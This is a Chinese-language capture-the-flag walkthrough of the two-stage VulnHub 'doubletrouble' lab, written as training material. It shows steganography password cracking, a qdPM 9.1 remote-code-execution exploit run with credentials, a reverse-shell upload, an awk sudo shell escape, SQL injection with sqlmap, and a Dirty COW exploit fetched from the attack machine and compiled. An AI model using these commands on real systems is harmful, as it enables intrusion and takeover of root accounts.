doubletrouble: 1-vulnhub靶场
环境信息
靶机:192.168.124.132
攻击机:192.168.124.129
打靶过程
1.nmap扫描端口服务
发现开放了22,80端口,80端口带有qdPM的title
访问80端口页面
同样带有 qdPM 标识,版本9.1,百度发现qdPM是开源的项目管理系统,基于 Symfony 框架+PHP/MySQL开发
搜索该版本漏洞,发现9.1版本存在远程代码执行漏洞 qdpm 9.1 远程代码执行
但该漏洞要利用还需要一个普通账号,目前未知
2.目录扫描
先使用dirsearch扫一下目录
经过一番访问寻找(在一些目录下发现过账号密码,经尝试未能成功登录),在/secret/目录下发现一个名为doubletrouble的可疑图片
3.找出隐写内容
下载下来,使用 steghide 查看图片是否有隐写内容
发现需要密码,但暂时没发现有效密码
使用 stegseek 尝试爆破
爆破出密码为 92camaro,图片内包含原始文件cret.txt,内容输出到doubletrouble.jpg.out
查看doubletrouble.jpg.out内容
看这内容应该就是账号密码了,尝试登录,能成功登录
4.漏洞利用
有了账号密码,就可以利用远程代码执行漏洞了
先下载一个权限提升的exp,这里使用50175.py
执行 exp,该exp内有格式错误,调整后再执行
python3 50175.py -url http://192.168.124.132/ -u otisrush@localhost.com -p otis666
给出了上传的后门地址,访问该地址,有一个被上传的后门
访问后加命令参数,成功执行系统命令
5.上传shell反弹
直接尝试命令反弹shell,发现失败
那么尝试上传shell反弹,生成一个shell
之前通过账号已经成功登录,寻找到上传点(从exp中可以发现就是利用myAccount页面进行的上传)
上传shell后,会报错,不过已经上传成功了
点击访问,成功反弹shell
6.awk提权
查看当前用户的sudo权限,发现可以sudo执行awk命令
通过GTFOBins查看awk命令发现可以提权
通过sudo执行该命令,成功提权
awk 'BEGIN {system("/bin/sh")}'
7.打靶第二靶机
寻找很久没找到flag,只在/root目录下找到一个 doubletrouble.ova 的镜像文件
看来是还得做一个靶场,毕竟叫 doubletrouble 哈哈~
使用 nc 将第二个靶机下载下来,再导入到虚拟机上,继续开整吧
第二个 doubletrouble 靶机 ip 地址为 192.168.124.135
先 nmap 扫一波
发现开放22,80端口
访问80端口是一个登录页面
尝试之前得到的账号密码登录均失败,那么再扫一波目录
没发现有用信息
既然是登录框,或许会存在sql注入呢,该登录请求方式为post方式,sqlmap跑一下
发现存在时间盲注,然后直接爆库操作最后得到账号密码
使用这两个账号密码尝试登录网站,依然失败
想到了22端口开放,尝试ssh登录,成功登录
在clapton用户家目录下发现flag
8.脏牛提权
查看内核版本
内核版本linux 3.2.X,存在脏牛提权漏洞,使用方法参考 Dirty cow
将dirty.c下载到kali后,使用python启动http服务,让靶机下载dirty.c
python3 -m http.server 9999
wget http://192.168.124.129:9999/dirty.c
编译dirty.c文件
gcc -pthread dirty.c -o dirty -lcrypt
执行下列命令创建一个密码为pass的root用户
./dirty pass
执行后根据提示,用户名为firefart,密码pass
su到firefart用户
su firefart
可见已经拥有root权限
查看root家目录下的root.txt,成功获取flag
总结
1.CMS 漏洞:常用的 CMS 还有 dede织梦、WordPress、帝国 CMS、MetInfo 等等
2.图片隐写:steghide 查看是否有隐写内容,stegseek 爆破隐写密码
3.awk 提权:awk 命令一旦出现在 sudo 权限中,直接搞
4.sql 注入:sql 注入也是经常出现的漏洞,数据提交时频频出现
5.脏牛内核漏洞:著名的脏牛提权也频出